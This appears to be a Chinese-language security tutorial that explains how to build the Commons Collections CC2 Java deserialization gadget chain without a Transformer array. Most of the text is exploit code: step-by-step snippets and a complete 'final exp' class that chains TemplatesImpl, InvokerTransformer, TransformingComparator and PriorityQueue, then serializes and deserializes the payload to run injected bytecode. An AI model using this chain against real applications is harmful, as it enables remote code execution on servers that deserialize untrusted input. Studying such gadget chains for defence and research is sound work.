前言
CC2 这条链实际上是在 CC4 链基础上的修改,目的是为了避免使用 Transformer
数组
参考:
《Java安全漫谈》
构造不含数组的反序列化Gadget
这里有两种方法可以解决这个问题:
一种方法是JRMP,需要外连服务器,参考https://blog.orange.tw/posts/2018-03-pwn-ctf-platform-with-java-jrmp-gadget/
还有一种方法是之前用过的
TemplatesImpl
,我们在前面 cc1/cc6 + TemplatesImpl 的时候利用InvokerTransformer
调用TemplatesImpl#newTransformer
方法Transformer[] transformers = new Transformer[]{ new ConstantTransformer(obj), new InvokerTransformer("newTransformer", null, null) };
不过这里依旧是用到了Transformer数组,因此我们还得做一些修改
分析
回去再看一下cc2的链子流程图:
在 CC4 链的基础上,抛弃了用 InstantiateTransformer
类将 TrAXFilter
初始化,以及 TemplatesImpl.newTransformer()
这个步骤,但是前半部分的 compare 还是和 cc4 一样,而且最后命令执行的方式也是走 TemplatesImpl 执行动态字节码,难点就在于 InvokerTransform 的连接
写exp
先把 cc4 的copy过来,然后尝试用 InvokerTransform
连接链子
TemplatesImpl
加载字节码的部分不用动
byte[] code = Utils.GenerateEvil();
TemplatesImpl obj = new TemplatesImpl();
Utils.SetValue(obj, "_name","0w0");
Utils.SetValue(obj, "_bytecodes", new byte[][]{code});
Utils.SetValue(obj, "_tfactory", new TransformerFactoryImpl());
然后依旧是构造 InvokerTransformer 类去调用TemplatesImpl#newTransformer
方法:
InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
这里也创建个不用数组的 TransformingComparator 类对象 fakeTransformer,传入一个临时的 Transformer 类对象,让命令执行只在反序列化的时候执行
TransformingComparator fakeTransformer = new TransformingComparator<>(new ConstantTransformer<>(1));
对照一下原先的代码,如下:
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { obj })
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
TransformingComparator transformingComparator = new TransformingComparator<>(transformerChain);
接下来创建 PriorityQueue 类对象 传入 transformingComparator
对象,但是此时向队列里添加的元素就是我们前面创建的 TemplatesImpl
对象 obj 了(简单来说就是我们的obj还没用呢)
这是因为最后调用 PriorityQueue.compare()
的时候是传入队列中的两个对象,然后 compare()
中调用 Transformer.transform(obj1)
的时候用的是传入的第一个对象作为参数,因此这里需要将 priorityQueue 队列中的第一个对象设置为构造好的 obj 对象,这里贪方便就两个都设置为 obj 了
PriorityQueue priorityQueue = new PriorityQueue<>(fakeTransformer);
priorityQueue.add(obj);
priorityQueue.add(obj);
最后通过反射把 fakeTransformer 的 transformer.iMethodName 值再改成 invokerTransformer 的 newTransformer
Utils.SetValue(fakeTransformer, "transformer", invokerTransformer);
最终exp
package com.example.cc2;
import com.example.Utils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.util.PriorityQueue;
public class Main {
public static void main(String[] args) throws Exception{
byte[] code = Utils.GenerateEvil();
TemplatesImpl obj = new TemplatesImpl();
Utils.SetValue(obj, "_name","0w0");
Utils.SetValue(obj, "_bytecodes", new byte[][]{code});
Utils.SetValue(obj, "_tfactory", new TransformerFactoryImpl());
InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator fakeTransformer = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(fakeTransformer);
priorityQueue.add(obj);
priorityQueue.add(obj);
Utils.SetValue(fakeTransformer, "transformer", invokerTransformer);
String barr = Utils.Serialize(priorityQueue);
System.out.println(barr);
Utils.UnSerialize(barr);
}
}